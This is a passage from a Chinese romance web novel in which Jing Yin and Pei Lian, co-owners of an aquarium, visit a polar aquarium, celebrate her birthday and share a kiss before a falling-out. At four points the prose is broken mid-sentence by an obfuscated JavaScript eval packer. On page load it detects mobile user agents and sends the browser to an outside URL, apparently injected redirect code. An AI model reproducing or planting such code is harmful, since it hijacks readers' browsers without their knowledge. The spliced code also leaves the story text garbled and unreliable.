他居然都记得。 “……没事。”景音宁愿自己现在还迷糊着,“你不提,我都忘了。” 她本意是想安慰他。然而看裴涟的表情,好像并没有多开心。 包厢的门洞上,突然出现两张脸。 景音正尴尬地眼神乱瞟,看见这一画面,吓得猛缩了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13628136|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下。 裴涟顺着她的目光看过去。 不需要两人作出什么举动,包厢外的人打开门,主动进来了。 胡新成一张俊脸满是愤怒:“小芸!我为你伤心成那样,你居然在这花天酒地!” 方小芸先是一愣,然后甩了甩头,似乎想把醉意从脑袋里甩出去。 然后,她变得理直气壮起来。 “我们已经分手了,我做什么,关你屁事?” 胡新成愣愣看着包厢里一众男子。几个男人看正主找上门来了,很有经验地开始劝和。 “姐姐,你看哥对你这么好,你就别再生——” “不许用你的嘴,叫她姐姐!” 场面实在太过混乱,胡新成扑了上去,不知对着谁开始拳打脚踢。一个金毛及时加入,在人群里劝着和。 吵闹声很快吸引来了酒保。把他拉开时,男模们都不少挨了两拳,一个个兴致盎然地走了。 景音也拉着方小芸,裴涟在对面跟那个金毛一起安抚胡新成。 偏偏方小芸还在煽风点火。 “别的不会,打人挺行,你就这点出息?”她抱着双臂冷哼,“要不是人家看在我的面子上不愿意跟你追究,你还能站在这吗,看看你现在像什么样子!” “我不是为了你吗?仗着我喜欢你,一次次故意伤害我,是不是?” 两人一来一回,谁也不愿意落了下风。景音现在基本清醒了,掏出手机,点了点屏幕。 对面裴涟的手机应声而响。 景音给他使着眼色。裴涟成功接收,挑眉看了眼手机。 景音发来一条消息:让他哭。 裴涟有些不明所以。再抬头,看见景音坚毅的眼神,他有些头疼。 方小芸正骂胡新成窝囊。再一哭,对面岂不是会骂得更狠? 虽然不懂景音的用意,但,她此时提的建议,肯定是能改善现在局面的。 裴涟只能选择相信。 他酝酿了一下,轻拍了拍胡新成的肩,背过身子放低了声音:“高三那年,你物理考了25分。” 胡新成莫名看了裴涟一眼,然后像是感受到什么震撼,接着两行清泪缓缓流下。 “对,我是没用。”他有些哽咽,声音也不自觉放低,“我物理都能考25分,我这种废物的确不配跟你在一起。小芸,我们好聚好散吧。” 语罢,他擦了下泪,独自出了门。 方小芸面色变又了变。她好像不太忍心,拉了拉景音的袖子:“我刚才是不是太过分了?” “嗯。”景音点点头,“当着这么多人的面,你太伤他自尊了。” 方小芸低头思考了会儿,追了出去。 一场恶战,居然就这样突然被化解。 裴涟忍不住夸赞她两句:“办法挺灵。” “我只是恰好知道她的弱点。”景音终于获得清净,“知道弱点,就能拿捏她啦。” 裴涟若有所思。 这句话,好像很有道理。 他不免垂目看向身旁的人,眼底掠过一丝精明的光。 今晚,有个人好像暴露了她的弱点。 只不过,这弱点,仍需证实。 “我刚刚说的事情,没忘吧。”裴涟低垂着眼神,语气甚是随意,“我要出差,你跟我一起去。” “……我去干嘛。”景音干笑。 “或许,因为,我们站在同样的立场上?”他声音染上些玩味,“你说是吗,隐名大股东。” 21. 景总 要是刚才还处在一种强撑清醒的状态,现在景音则完全醒了。 是吓醒的。 “你怎么知道——?” 景音在入职时,上任副馆长正巧打算退休。海洋馆收入不景气,因此王馆长和前副馆长都打算卖了股权变现。 那时,她手上碰巧有一笔现金,是景绍良留下的遗产。 被那样的亲爹忽视了半辈子,景音着实珍惜不起来他留下的钱。 她并不是看到什么商机。 而更像是,找个好由头花掉这笔巨款。 于是干脆,一股脑全砸进了海洋馆,买了副馆长拥有的22%股份。 景音提起精神,努力复盘了一下最近发生的事。 怪不得白天和那几个股东谈话时,裴涟没让她走,原来他早就知道,她也是股东之一。 “你露了点蛛丝马迹。”裴涟目视前方,“不难猜。” 景音正欲问清楚,他旁边探出一个毛茸茸的金色脑袋:“什么蛛丝马迹?” “……”裴涟沉默,“哪儿都有你。” 景音感觉这人一头的卷毛有点眼熟。察觉到她的视线,男人笑眯眯对她伸出了手,自我介绍道:“你好,程涣舒。” “景音。”她点点头。 正犹豫着要不要同他握手,裴涟毫不客气地把男人的手掌拍开。 他瞄了程涣舒一眼,似是无声的警告。程涣舒也不恼,嘿嘿笑了两声。 裴涟转过头,冲景音扬了扬下巴:“我送你。” 景音本想自己打车。但裴涟刚才的话,让她有点在意。 他们现在,的确是同一个立场。 她跟着裴涟出了夜店。 裴涟的车停在附近的停车场。她跟在他身后,昏黄路灯下,身前人的影子被拉成颀长的一条。 景音被他的影子笼在身下。她低头,一步一步踩着,不知不觉,裴涟停下了脚步。 她差点撞上他的背。景音仰起头,蓦地望进他幽冷晦涩的眼神。 昏暗视野中,浅眸是难得一见的黑黯深邃。裴涟凝着她,视线交缠,眼底有什么东西翻涌不息。 她心跳空了一拍。 裴涟缓慢凑近,伸出只手,将她环在身后的车上。 “你……” 裴涟轻吐气息:“挡住我开车门了。” “……” 景音转过头,看见自己靠着的,赫然是他那辆暗银色轿跑。 她有些尴尬地闪出了身体。 两人都坐进车里后,裴涟发动了车子。 车里还放着上次的蓝调专辑,裴涟的声音在沉吟中响起:“今晚还要我陪你吗。” “……” 这话怎么听,怎么暧昧。 “不用。”景音忙摆手,“辛警官跟我聊完后,我觉得好多了。” 裴涟嗯了声,又问:“出差的事,考虑的怎么样了。” “你不是快做好运营方案了吗?”景音有些疑问,“还去出差干什么。” “我没有经验。”裴涟很坦然。 “嗯?” “我现在只会纸上谈兵,但我不想用珍珠岛试错。”他看着前方,“所以,需要多吸收别人的实践结果。” “哦……”景音默默点头,“要去几天?” “一周左右。” “什么时候去?” “这周内出发。” “……”景音沉思片刻,“我要是出去了,剧场就只剩许晏霖一个人,她忙不过来。” 裴涟应也在考虑她说的问题。车遇到红灯,停了下来。 “她工作态度怎么样。”他突然问。 “许晏霖?她挺认真的。” 至少,比前几个能待得住。 “她有没有找过你麻烦。” “没有。” 他转了一把方向盘,声音散漠:“多留意着她点。” “她怎么了?” 裴涟面色犹疑,像是欲言又止。景音灵光一现,突然想起他们是高中同班同学。 该不会…… “她是你那个初恋?”景音恍然大悟。 “……” 不知道是不是她眼花,裴涟好像翻了个白眼。 “景音。” “啊?” “我没喜欢过别人。”他轻飘飘瞄了她一眼,“你是我初恋。” 直至被裴涟送进家门,景音仍觉有些恍惚。 两人后来在车上决定,让许晏霖暂时穿潜水服表演,再从别的部门借来个会潜水的,替她分担些别的日常工作。 除了公事,其他一句多余的都没说。 但这并不足以让景音忘记,他那句近似表白的话。 裴涟定的出差日期定在两天后。 其实,他两人占的股份足以堵上其他股东的嘴,但强制的听从,无法让他们从心底顺服。 她能看出,裴涟的目的和她并不完全一致。 景音单纯是为了不再引进动物表演。 裴涟的计划,则憋着鼓劲似的,有更汹涌的目的。 她的想法,在次日收到新的运营计划书时,得到了证实。 计划书中,内有新的员工守则与考勤制度,外有广告投放赞助、门票及餐厅价格调整、网络自媒体宣传,等等。 几乎从全方位,把海洋馆重新定制了一遍。 景音额外关注的一条是,计划海洋剧场全天候免费开放。 这与她初来时的想法完全一致。 海洋剧场的大鱼缸,本身就投放了很多漂亮的观赏鱼和海底生物,就是没有表演时,也值得驻足观赏。 全天候开放,就能吸引更多全年龄的游客。 裴涟还贴心地为剧场的员工调整了薪资架构,调整后,和原先的工资基本没差。 她又详细看完了裴涟的计划书,然后回复他:无异议。 对面回复了“OK”的手势。 元旦假期一过,海洋馆又恢复了平时的闲适,迎来了一波游客量低谷。 剧场已被她安排妥当,她向许晏霖承诺,争取在下个周末前回来,又教会了来替班的同事怎么喂小猪。 小猪的状态一直没什么改善,依旧孤僻阴郁,景音也不知道该怎么进一步的帮它。 于是在坐上裴涟的车去机场,乃至上了飞机的这段时间,她一直捧着手机,神情专注。 裴涟瞧了一路她这种状态,终于忍不住问:“你看什么呢。” 两人已经坐上了去往沈市的飞机。沈市有全国最大的极地海洋馆,是他们考察的第一站。 景音堪堪摘下眼镜,揉了揉有点酸涩的双眼。 察觉到身旁人有些许的不爽,她挠了挠面颊,有点抱歉的口吻:“我在看文献。” 她大学时学的野生动物保护专业,这专业学生甚少,导师们都把他们当宝贝似的教着。 在她找了导师,问有没有关于表演白鲸的后续恢复饲养资料时,导师很快给她发来了几篇论文。 只是都是外文,她英语还没那么熟练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660325|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要靠翻译才能看懂。 这一路上,值机和托运行李都是裴涟一手包办。景音有些过意不去,补偿心态地添了句:“晚上请你吃饭。” 裴涟好像挺满意:“嗯。” 他戴上眼罩,身形放松了下来。脸冲着她的方向,有些滑稽地蒙着眼对她说:“吃贵的。” “……行,你睡吧。” 裴涟就这样渐渐不动弹了。景音又戴上眼镜看了会儿,直到飞机即将降落,才收起手机。 旁边的人脑袋耷拉向她这边,也不知醒没醒。高挺的鼻梁把眼罩支起一个坡,应是给里面漏了不少光。 就一个多小时的行程,也要找机会睡觉? 景音轻笑,欲伸手拍醒他。 许是飞机上太过干燥,裴涟突然舔了舔嘴唇。 红舌只露了一点尖,唇瓣就沾上了濡湿。亮晶晶又粉润诱人,看起来很软。 景音看得有些愣。 嘴唇的主人及时动了动,伸手移开了眼罩。 飞机窗照射来的光线直打在他脸上,琥珀色的双眼近乎透明。被强光刺激到后,他微眯了下眼,景音甚至能看清他幽黑的瞳孔一瞬缩小了。 猫一样。 她轻咳缓解自己的注视:“快到了。” 裴涟揉了揉脖子,软软嗯了声。 季城和沈市离得不算远,下了飞机正是中午。他们出了飞机场,就直奔酒店放行李。 但沈市更冷。景音觉得季城的温度已经是严冬,和这里一比,简直如若春天。 她换上了自己最厚的装备,帽子围巾手套一应俱全。裴涟住她隔壁的房间,两人汇合后,景音发现他竟然只比刚才多围了一条围巾。 景音跟在他后面下了电梯,心里称赞他的气血方刚。 出了酒店,门口有专车来接,想来是裴涟提早订好的网约车。 上车之后,司机冲后排点点头:“小裴总。” “嗯。” 看见景音疑惑的眼神,裴涟解释:“极地派来的车。” 他们这名不见经传的小海洋馆,还能动用对方用专车接送呢? 到达目的地之后,景音才发现,是她想得太简单了。 极地海洋馆门口站了一排商务人士,景音粗略看过去,至少有七、八人。裴涟下车后,他们上来挨个同他握手。 就是有人送上一捧花,然后高喊一句“欢迎领导视察”,景音都觉得不足为奇。 “小裴总,您到了。”为首的胖男人笑得眼睛都快没了,“来,走这边。” 裴涟没动脚步,转过身,示意景音到他旁边来。 胖男人才看见景音似的,声音有些迟钝:“这位是……” “这是景总。”裴涟简短介绍,“景总,这位是胡总,是这里的馆长。” 陌生的称呼让景音瞬间挺直腰板。她忙摘下毛线手套,和胡馆长虚握了下手:“您好。” 后悔了,该戴那双皮手套的。 胡馆长仍是那副商业化的笑容:“景总真是貌美如花啊。” 景音的笑容有些僵住。 裴涟在一旁淡淡开口:“景总是主理人,我是陪她来考察的。” “啊……”胡馆长的眼神变得不一样起来,“景总,您这边请。” 景音抿唇点点头,不忘瞟了眼裴涟。 他仍是那副常态,眼底没什么温度,仿若不知道自己在无意间为她做了什么。 不过…… 她怎么不知道,自己成了珊瑚岛的主理人? 22. 许愿 景音拿不准裴涟的用意,在胡馆长带领下进了园区。 这里不愧是全国最大的极地海洋馆,不止饲养海洋生物,还有一些开放的兽栏,养了些耐寒的陆地生物。 刚进园区,门口就划分了一个狍园。两只狍子卧在地上,懒洋洋跟景音对视。 “这是我们的震馆神兽,小的时候被救助过,后来被评估无法放归自然,就放我们这养了。”胡馆长介绍,“唉,可惜被发现的时候只有两只,其他小崽可能被别的野兽吃掉了……” “不会的。”景音不自觉接话。 “啊?” 景音移开眼神,发现一众人都在看她。 于是她解释:“因为狍一般生的都是双胞胎。” 众人恍然点点头。 再向馆内走时,景音觉得胡馆长的介绍变得专业了许多。 入口大厅非常大,走进去后,迎面是一架巨大的鲸骨标本。为了看全貌,胡馆长还带他们上了二楼,十几米的骨架被铁线悬在空中,视觉效果十分震撼。 胡馆长告诉他们,这是九几年在近海搁浅“自杀”的一头抹香鲸。 鲸鱼靠回声辨位,一旦靠近浅滩,很容易迷失方向。直往岸上冲的行为,在人类眼中就像在自杀。 景音唏嘘看了会儿,裴涟在她身侧,亦静静听着胡馆长的讲解。 离开大厅,他们按顺时针绕着馆里参观了一圈。 此外,还去看了餐厅、医务室这些配套场景。 正巧赶上了海豚表演时间,胡馆长本还想邀请他们两人去看看,被裴涟婉拒了。 不过,景音倒是去看了他们这里的水下表演。 这里的表演设置在海底隧道里,没有美人鱼,只有潜水员。说是表演,更像是潜水员下来给鱼喂食,顺带着跟游客打打招呼招招手。 景音有些小得意,看来,珍珠岛在水下表演方面还算行业内比较领先的。 从出口出来时,外面是一个水上游乐场。 看着有些老旧的设施,裴涟问胡馆长:“利用率很低?” “唉。”胡馆长摇摇头,“一开始收费的时候根本没人去。后来免费了,也只有一些小孩玩,而且逛完海洋馆,时间也比较晚,家长还有别的安排,没玩两下就都走了。” 裴涟若有所思。 胡馆长接着盛情邀请他们共进晚餐,被裴涟再次拒绝了。 “晚上还有点事。”他说。 景音没忘记她在飞机上夸下海口,今晚要请裴涟吃顿贵的。 也不知道裴涟喜欢吃什么? 胡馆长还在跟裴涟客套,景音的思绪已经飘走了。 时间已经接近傍晚,被海洋馆的车送回酒店后,两人各自回房间休息了一会儿。 景音莫名有些紧张。来的时候毕竟带有些正经的目的,而现在,则是完全的私人时间。 离晚饭还有段时间。她洗了遍头发,又重新画了个全妆。 确保自己看起来十分得体后,她给裴涟发了条消息:「去吃饭?」 等了一会儿,收到了回复。 L:「今晚我还有点别的事。」 L:「抱歉。」 景音怔怔看着手机。 她很快调整了下情绪,回复:「好,那你忙。」 景音躺回床上,点开外卖软件。清一色的预制菜里,偶尔夹杂着几个地方特色菜馆,她点开几个看了看,都提不起兴趣。 她盯着天花板发呆。 隔壁响起了开门声,接着又被关上,不急不缓的脚步渐渐走远。 “臭鸽子。” 她在床上翻了个身。 酒店的床实在太柔软,她陷进去后就不想再起来。 可是肚子咕咕响了两声。 景音起身,去卫生间卸了妆。一张白皙脸蛋恢复清爽,她对着镜子里的自己皱了皱鼻子。 最后,她还是带上了房卡,决定独自去找点东西吃。 裴涟定的酒店在市中心,周围有一家大型商场。景音溜进去,给自己买了杯奶茶,又随便找了家日料店吃了碗拉面。 路过一楼时,她闻到一股香甜味道。顺着气味望过去,是一家颇有名气的甜品连锁店。 景音决定,进去买个小蛋糕。 推开玻璃门,立马有热情的导购迎了上来,递给她盘子。 景音摆摆手拒绝,指了指冷柜里的切角蛋糕:“就要这个吧。” 导购拿出一角蛋糕,去前台给她包装。景音付完钱转过身,意外在角落为数不多的座位上,看见一个身影。 裴涟背对着她低着头,不知怎的,给她一种尽力在缩小自己的错觉。 “……” 景音挑了挑眉,掏出手机,对着他的背影拍了张照,然后找到他本人的聊天框,发了出去。 那边的手机提示音响了,裴涟却没有查看。 一名导购拎着个大蛋糕盒子,走到他旁边:“先生,您订的蛋糕做好了,很抱歉是我们搞错了时间,希望没给您造成太大困扰……” 裴涟这才转过身,接手了蛋糕。 毫无意外地,跟景音对视上。 裴涟似是轻叹了口气,走到了她面前。 “你怎么到这来了。”他略有不爽。 景音耸了耸肩:“可能,是冥冥中的指引吧。” “……” “给谁的?”她明知故问。 裴涟看了眼蛋糕盒:“给你的。生日快乐。” 景音浅浅抿了抿嘴。 “你说的别的事,就是这件事?” “……嗯。” “你怎么知道我今天过生日。” 答案显而易见,“帮你值机的时候看见的。” 两人并肩出了甜品店。裴涟带着点希冀的语气问她:“你吃饭了吗。” “嗯。”景音理所当然的语气,“已经吃过了。” “……长寿面吃了吗?” 景音仍不太高兴似的:“吃的平替。” 裴涟停下了脚步,低头看向她。 景音觉得他像在做什么决定。 “那,我们回酒店吃蛋糕?”他问。 景音瞥开了视线,半天没说话。裴涟拎着蛋糕手提袋的手指轻轻攥紧,很有耐心地等着。 “那好吧。”她回答,“不然奶油会塌的。” “……嗯。” “嗯。” 两人这么僵了会儿,景音先绷不住笑了出来。 出了商场,景音觉得脚步如此轻盈。沈市冰冷的气温似乎无法浸透她的身体,她仍捧着奶茶,里面是残余一半的温度,手背冰凉但手心全是暖意。 商场的广场竖着还没撤走的圣诞树。陌生的城和陌生的景色,突然给她一种不真实感。 景音突然抬头看向裴涟。 他鼻尖被冻得有些红,给清冷的脸平白添了点生动。他也正抬头看着那颗围着灯带的圣诞树,闪灭的光印在他脸上,眼睛也被照得亮亮的。 在这陌生的城市,他是唯一的真实。 “我给你拍张照吧。”他突然说。 景音有些不好意思。虽然做美人鱼时每天都被游客拍,但生活中,她从小到大都很少拍照。 难得来一趟陌生的城市,又是她的生日,景音没过多犹豫,点了点头。 她站在圣诞树下,看着裴涟后退着找角度。最终,他放低了手机的位置,冲她束起三根手指头,缓慢放下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673219|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 景音有些慌促,抬起手,在脸颊边比了个V。 拍好后,裴涟走过来给她看成果。照片里的她显瘦又腿长,景音很满意。 两人慢慢溜达回了酒店。 一路直到上电梯时,景音还没什么反应。待她刷房卡让裴涟进屋后,精神就开始有些飘忽。 裴涟把蛋糕放在桌上。屋里很温暖,他脱掉了大衣,内里是件单看料子就很柔软的黑毛衣。 景音也脱了大衣,挂在衣柜里。回过身时,看见裴涟正动手拆蛋糕包装盒上的丝带。 也不知他怎么弄的,越拆越紧。 “我来吧。”景音走了过去。 丝带已经打了死结,景音干脆用钥匙上的指甲刀剪开。她刚要打开时,裴涟忽然按住她的手。 他从口袋里掏出个小方盒:“生日礼物。” 景音有些惊喜。 他以前不是没送过她礼物。大一刚开学的时候,裴涟送过她一束花,她看着盛放的花朵,第一反应是它们没几天就会凋谢。 她没由来的一阵烦,当着裴涟的面把花扔了,让他以后不要再送她礼物。 过去的一些细节突然涌上来。她一直想知道裴涟为什么那么执着于追她,她曾经一股脑地把原因归功于:她救过他的命。 现在,看着他神态平和的脸,她却问不出口。 她从裴涟手里接过盒子,上面印着一个价格不菲的奢侈品logo。景音有些讶于他的大手笔,刚想拒绝,裴涟仿佛看穿了她的意思。 “我过生日的时候,送我个差不多的。”他说。 景音还有些存款,倒也买得起这个价位的礼物。听他这么说,她才安下心来,打开了盒子。 里面是一条项链,末端挂着个贝壳形状的坠子。打开的贝壳中间,一颗钻石璀璨夺目。 “好漂亮。”她发自真心地赞叹,“我很喜欢,谢谢。” 他抬起眼神,清澈沉静的目光如幽潭一样望着她:“我想给你戴上。” 景音有些出神,点了点头。 裴涟接过盒子,长指挑起了项链。他站起身,绕到景音背后,从前向后围在了她的脖子上。 手指无可避免地碰到她的发。被碰过的发丝有传感器似的,惹得发根一阵麻,很快,冰凉的指腹触到她温乎乎的脖颈,拢出了她被项链压住的长发。 景音有一瞬的恍惚。 “去照照镜子?”他的声音在脑后响起,“很好看。” 景音走到穿衣镜前。 镜中的她面色粉红。她别开了脸,附和着他刚才的话:“是很好看,谢谢。” 裴涟淡笑了声:“来吃蛋糕。” 景音去拆开蛋糕盒,露出里面精致好看的蛋糕。蛋糕上是只小熊,抱着颗爱心,颇有童趣。 景音给蛋糕插上一根蜡烛,蛋糕店送了一盒火柴,她把蜡烛点亮。 裴涟去门口关上了灯。 “快许愿。”他回到她身边,声音安静。 昏黄的光线印照出他的脸,裴涟看着蛋糕,又转头看向她,眼神近乎深情。 景音握住两只手,闭眼许了个愿。再睁眼,她吹灭了蜡烛。 房间瞬间变得黑暗。 “生日快乐。” 她听见裴涟的声音,然后,房间恢复了亮光。 景音难得有些腼腆,说出了今晚不知道第几次的:“谢谢。” “许了什么愿?”他坐回她的对面。 “说出来就不灵了。” “时代变了。现在的许愿小精灵听不见愿望的话,就没办法帮你实现。” 景音轻笑,亏他能说出这种话逗她。 “我许愿。”她敛了眼神,“年年有今日,岁岁有今朝。” 23. 喜欢 裴涟挑了挑眉:“小精灵听见了。” “最好是。”景音拿起塑料刀,心情很好,“开吃。” 她把有小熊的那块分给了裴涟,自己切了块带水果的部分。 两人安静吃完蛋糕,景音把盘子放回桌子上,又给两人一人切了一角。 裴涟吃完两块,看景音还要去切,忙叫住她:“我不吃了。” 虽然味道很好,但浓厚的奶油味已经让他觉得有点腻。 “这就不吃了?”景音并没停下手里的动作,“那我吃。” 裴涟看着她吃下第三块,最后盘算的眼神看了眼桌上。 “……这么好吃?”裴涟失笑。 景音:“吃不下了,但是想试试。” “吃不下就别硬撑。” “可是这是我第一次吃生日蛋糕。” 裴涟望向她。 “大一那会儿,小芸给我买过一个。还没吃到嘴里的时候,被别的舍友不小心弄翻了,就没吃成。” 她无所谓的语气,像是在说一个随口听到的故事。 那小时候呢? 裴涟没问出口。 他印象里,好像听景音跟谁提起过她的父亲,毕竟她能上得起闻泰这种贵族高中,家里至少有人在供她上学。 一个不缺钱的家庭,怎么会让女儿从小到大没吃过生日蛋糕。 景音又拿起第四块蛋糕,神情有些为难,但还是准备送入嘴里。 裴涟及时从她手中拿了过来:“我来吧。” 一人三块,半大的蛋糕居然就这样解决了。 景音已经撑得快要站不起来:“谢谢你的蛋糕,我就不送你了,晚安。” 裴涟浅笑了下,收走了桌上的垃圾,关门离去。 景音安静瘫在椅子上,肚皮圆圆的,她觉得自己像条正在消化食物的大蟒蛇。今晚吃的东西太多了,她怕自己一站起来,食物就全从嗓子眼里拱出来。 坐了好一会儿,好像恢复了点体力。 她椅子上站起来,关掉明亮的房灯,只留了个廊灯准备去洗澡。正抱着换洗衣服去卫生间时,房间门被敲响了。 她走到门口,隔着门问了声:“谁?” “是我。”裴涟的声音从外面传进来,“我房间的吹风机坏了。” 景音打开了门。 裴涟显然是刚洗完澡。浴袍松松垮垮披在身上,腰间的系带懒耷着,露出胸口一小片白皙的肌肤。他头发还是湿的,诚然如他所说,房间的吹风机坏了。 景音低下双眸,侧身让他进屋。 他径直打开了卫生间的门:“用一下你的吹风机。” “嗯。” 他没带走吹风机,而是插上了电源,准备在她卫生间吹头发。 “嗯?”景音听见他在自言自语,“怎么也坏了。” “……不会吧。” 她晚上洗头的时候,还是好好的。 裴涟难得的有些恼:“这家酒店的吹风机,品质好差。” 他边说着边走了出来,递给景音一个毛巾:“能不能帮我擦一下头发。” “你自己……” 裴涟低头看着她,仿佛睫毛也是湿漉漉的。她忽地闻到裴涟身上的清香潮气,于是话到嘴边,又收了回去。 “行。”她接过了毛巾。 裴涟坐去了她的床边。景音也爬上了床,挪到他背后开始擦头发。 她觉得自己像在擦一只小狗。 裴涟的发色有些浅,但现在这样湿润的状态和阴暗的光线下,反而变得有些深黑。景音有点心不在焉地揉搓着,毛巾一角时不时露出他冷白的耳廓和脖子,加重她的恍惚。 这个角度,依稀能看见他脖间的红痣。 她摆弄的幅度不大,刺目的一点红攀在他脖颈凸起的筋线上,上下浮动,荒诞勾着她的目光。 鬼使神差地,她伸出手指,摸了摸。 裴涟反握住她的手。 他回过头,淡漠的视线同往常一样,没有情绪地盯着她。景音刚想道歉,却被他一个回身,压在了身底。 似有烟花在脑袋里炸开。 嘴上湿软的触感让她从指尖开始生麻。裴涟动作生又涩,她躲无可躲,但这姿势好似更方便他的攻势。 景音那只手被反扣在床上,手指被他尽数捏着,浑身的感官都聚集在了唇间——摩挲的触感,相交的温度,还有紧贴着她的另一颗震动心脏。 甜又腻的气息将她完全笼罩。景音有些窒息,她才想起她是潜水好手,怎么会被他吻到窒息,接着下巴被他惩罚分心似的一握,裴涟生硬的力道捏在了她的颌骨。 “张嘴。” 她被动地松开牙关。 裴涟加深了动作,却收了些力道,但与刚才截然不同的体验,却让景音觉得飘进了云里。 他像不懂得餮足,留恋地缱绻辗转不肯分离。景音觉得眼底越发湿润,她试着睁开眼,裴涟却在这时放开了她,同她额头相抵。 景音微眨着眼,发现他幽深的眼底和她一般迷离失魂。 然而几个呼吸过后,裴涟的眼神逐渐恢复清明。 她心里,突然有什么东西荡然无存。 “裴涟……”她不知为何带着哭腔,“怎么不继续?” 裴涟空出只手,轻抚了下她的发丝。 “继续?”他低哑着声音,“继续到什么程度。” 景音直盯着他,不肯放过他任何一个微表情,湿漉漉的眼神说明了一切。 裴涟觉得她真的像神话里的塞壬,要诱惑他沉沦在此,然后将他拖进深渊,共渡万劫不复。 他忽地起身。 景音明显地错愕,望着他的眸浸满不舍。 “景音。”他看着她,眼神压抑沉静,轻声开了口,“你想跟我在一起吗?” 她不说话了。 似乎料到了这个无言的答案,裴涟轻笑了声,然后摸了摸她的头。 “没事。”他声音轻柔,“好好睡吧。” “……” 景音低着头,表情晦涩不明。直到裴涟转身要走,她才突然出声: “裴涟,你果然性冷淡。” 男人的脚步停顿,有那么一瞬间,景音觉得他是想转过身,证明她的话是错误的。 然而,他只是停了一下,就继续往外走。 “嗯。”她听见他打开了门,“可能是吧。” 门被关上了。 景音好气。 他居然认了? 她闷头躺回床上,半晌也没缓过劲。 刚刚发生的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690985|142979||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好像被大脑录了下来,重复循环播放。她的心跳仍在飙着速,久久无法停歇。 好,她承认。她是真的很喜欢裴涟的身体。 喜欢他高瘦修长的身姿。 喜欢他理智清醒的大脑。 喜欢他清冷漂亮的一张脸,琥珀色的眼仁,蜜色的唇——现在她尝到了那种触感,又软又甜。 还有许多次窥见他衣料下有一层结实薄肌的躯体。 景音觉得燥热,她打开手机看了一眼日历,果然,在排卵期。 但她知道自己不止是卵虫上脑。 她并不是个随便的人,没对其他成年男性产生过欲望。但裴涟不一样,他…… 可能是因为心理医生的劝告吧。医生让她去接触他,所以她才不想拒绝他。 景音是这样告诉自己的。 她不是没想过跟裴涟谈恋爱。 但她害怕。 怕进一步接触的他们,发现彼此并不合适。 怕摩擦带来的烦恼,怕不完全占有带来的怅然若失,怕这些无法避免的事,会让他们完全变成另外一个人。 ……怕最后一场空。 她下床,倒了杯冷水喝下肚,好像消解了那股热度。 于是她继续了刚才没完成的任务,洗了个澡。 一身清爽地躺回床上,她恢复了点理智。 总感觉有哪里不对。 她早些时候洗过头,所以刚才洗澡没用吹风机。景音又回到卫生间,按下吹风机的开关,一股热风立刻冲上她的脸,努力证明自己般地马力十足。 景音关掉吹风机,怀疑地蹙了眉。 ……这算什么? 她有点说不清自己的心情,除了不解,更多的是乱。她放下吹风机,出了房间。 隔壁裴涟的门紧闭着,她欲敲门,裴涟的声音却先一步从里面隐约传出来。 景音听不真切,她犹豫了一下,附耳贴在了门板上。 “……要改革他们现有的制度,推倒重做……想挪用到我们的……嗯,当试点……” “……又是胡春林?” “是在季城……珊瑚岛。你别来。” 里面好像挂掉了电话,很安静。景音缓缓直起身子,有些愣怔。 她终于抬手敲了敲门。 裴涟打开了门。看见是她,刚想露出笑容,景音抢先开了口: “你到底想做什么。” 她语气平静得可怕。裴涟微不可察地闪烁了眼色,仍摆出了微笑:“什么?” “我听见你打电话了。改革制度,推倒重做,是为了让珊瑚岛给你家做试验品?” 她突然想起来了。裴涟来的第一天,谢薇说有同事听见他在打电话,说什么“推翻”,“铲平”。 那时,她以为纯属是听错了。 亏他还能说出,不愿用珍珠岛试错这种话? 那座小小的海洋馆,只是他为他家产业准备的小白鼠。 她早该记起来的。 他家的产业,不正是包含了今天极地海洋馆在内的全国最大文旅公司,环宇集团吗。 “不是。”他声音放得很低。 “怎么不是。” “不是给我家当试验品。”裴涟静静看着她,“是给我练手的试验品。” 24. 五个女人 去往南海市的路程,她一直没跟裴涟说过几句话。 这很不容易。 因为,南海市和沈市相距甚远,基本是从本国的最北边飞到最南边,光是在飞机上,就要坐四五个小时。 